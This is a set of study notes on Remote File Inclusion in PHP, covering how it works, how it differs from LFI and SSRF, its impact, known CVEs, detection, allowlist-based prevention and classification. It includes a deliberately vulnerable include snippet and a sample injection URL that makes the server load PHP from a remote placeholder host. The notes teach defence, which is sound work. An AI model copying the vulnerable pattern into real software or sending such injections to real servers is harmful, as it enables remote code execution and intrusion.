Vulnerability Notes

Remote file inclusion (RFI)

Concepts, Attack Techniques, Detection, and Defenses

Prepared by
Youssef Reda

Contents

Remote File Inclusion (RFI) **1**
- Overview . . . 1
- How Works . . . 1
- Example of RFI Exploitation . . . 2
- RFI vs. Local File Inclusion (LFI) . . . 2
- RFI vs. Server-Side Request Forgery (SSRF) . . . 2

RFI Impact and Known Vulnerabilities **3**
- Potential Consequences of RFI . . . 3
- Examples of Known RFI Vulnerabilities . . . 3

RFI Detection, Prevention, and Mitigation **4**
- How to Detect RFI Vulnerabilities . . . 4
- How to Prevent RFI . . . 4
- How to Mitigate RFI in PHP . . . 5
- Vulnerability Classification . . . 5

Remote File Inclusion (RFI)

Overview

Remote File Inclusion (RFI) is a web vulnerability that occurs when an application allows user-controlled input to specify a remote resource that is included and interpreted as code on the server. RFI can lead to Remote Code Execution (RCE), potentially allowing an attacker to execute commands on the target server.

How Works

Some programming languages allow files to be included from external URLs. RFI occurs when an application passes an insufficiently validated user-controlled URL to a file-inclusion mechanism.

Example of vulnerable PHP code:

```
<?php
$module = $_GET['module'];
include $module;
?>
```

In this example, the application uses the `module` parameter directly in `include()`, allowing the user to influence the resource being included. In PHP, successful remote inclusion through URL wrappers such as `http://` depends on the relevant runtime configuration, particularly `allow_url_include`. The setting is disabled by default in standard configurations and has been deprecated since PHP 7.4.0.

Example of RFI Exploitation

Consider an application running PHP 7.3.33 with the following configuration:

```
allow_url_include = On
```

An attacker may manipulate the `module` parameter to reference a remote PHP file:

```
http://example.com/index.php?module=http://server2.example.com/welcome.php
```

If the application accepts the URL and includes the remote content as PHP code, the code may execute on the target server, potentially resulting in RCE. The impact depends on the server configuration, the inclusion mechanism, and the privileges of the web application process.

RFI vs. Local File Inclusion (LFI)

- **RFI:** Includes a resource from a remote source and may execute attacker-controlled code when the necessary conditions are met.
- **LFI:** Includes or accesses an unintended file available on the local server.

RFI is less common because applications rarely need to include source code from arbitrary remote locations, and successful remote inclusion in PHP depends on specific configuration settings. Unlike RFI, LFI commonly involves local file access and may overlap with path traversal vulnerabilities.

RFI vs. Server-Side Request Forgery (SSRF)

RFI and SSRF are distinct vulnerabilities:

- **RFI:** The application includes remote content through a mechanism that may interpret it as executable code.
- **SSRF:** The application is induced to send requests to attacker-influenced destinations, potentially exposing internal services or resources.

Fetching a remote URL does not automatically constitute RFI. The vulnerability depends on whether remote content is included and interpreted as code.

RFI Impact and Known Vulnerabilities

Potential Consequences of RFI

Successful Remote File Inclusion (RFI) may lead to Remote Code Execution (RCE), allowing an attacker to execute code with the privileges of the web server process. The impact depends on the permissions of the web server user, system configuration, and access to other resources.

Potential consequences include:

- **Malware and Ransomware:** Installing malicious software or attempting to spread malware to other systems.
- **Cryptocurrency Mining:** Using the compromised server's computing resources for unauthorized cryptocurrency mining.
- **Sensitive Data Theft:** Accessing application data, credentials, or databases available to the compromised process.
- **Backdoor Installation:** Establishing persistent access to the system when sufficient write permissions and other required conditions are available.

RCE does not automatically imply complete system compromise. Execution privileges are generally limited to those of the web server process unless additional weaknesses permit privilege escalation.

Examples of Known RFI Vulnerabilities

- **CVE-2018-16283:** A historical RFI vulnerability associated with the Wechat Broadcast WordPress plugin version 1.2.0.
- **CVE-2014-7228:** A historical RFI vulnerability associated with affected versions of Joomla.

These cases demonstrate that RFI vulnerabilities can occur in third-party plugins and content management systems, not only in custom application code. Version checks and dependency scanning can help identify known vulnerabilities. However, exploitability must be assessed against the affected versions and the specific deployment configuration.

RFI Detection, Prevention, and Mitigation

How to Detect RFI Vulnerabilities

Detection depends on whether the vulnerability is already known or previously unidentified.

- **Known Vulnerabilities:** Identify application and dependency versions, then use Software Composition Analysis (SCA) tools or appropriate security scanners to check for known CVEs.
- **Unknown Vulnerabilities:** Review file-inclusion logic and perform authorized penetration testing to determine whether user-controlled input can trigger unsafe remote inclusion.
- **Runtime Verification:** Analyze application behavior to confirm whether remote content can actually be included and interpreted as code.

Version detection indicates potential exposure but does not always confirm exploitability in a specific deployment. Runtime testing provides stronger evidence when performed safely and with authorization.

How to Prevent RFI

- **Avoid User-Controlled Includes:** Never allow untrusted input from query parameters, request bodies, cookies, or HTTP headers to directly determine the resource passed to an inclusion function.
- **Use Allowlists:** Map predefined identifiers to trusted local files instead of accepting arbitrary filenames or URLs.
- **Avoid Blocklist-Only Validation:** Blocking known URLs, extensions, or character sequences is insufficient because alternative representations may bypass such filters.

Example of safer PHP code:

```php
<?php
$modules = [
    'home' => __DIR__ . '/modules/home.php',
    'about' => __DIR__ . '/modules/about.php'
];

$name = $_GET['module'] ?? 'home';

if (isset($modules[$name])) {
    include $modules[$name];
} else {
    http_response_code(404);
}
?>
```

The user selects a predefined identifier, while the application controls the actual file path.

How to Mitigate RFI in PHP

- **Use Supported PHP Versions:** Upgrade to a currently supported PHP release and apply security updates.
- **Disable Remote Inclusion:** Ensure that `allow_url_include` is disabled in `php.ini`.

```
allow_url_include = Off
```

This disables remote URL inclusion through the PHP mechanisms governed by this setting. It does not replace secure input handling, and changing it may affect legacy applications that depend on remote inclusion.

Vulnerability Classification

- **CAPEC-193:** Remote File Inclusion.
- **CWE-98:** Improper Control of Filename for Include/Require Statement in PHP.
- **WASC-5:** Remote File Inclusion.

OWASP Top 10 2021 category A1 refers to Broken Access Control and is not a specific classification for RFI.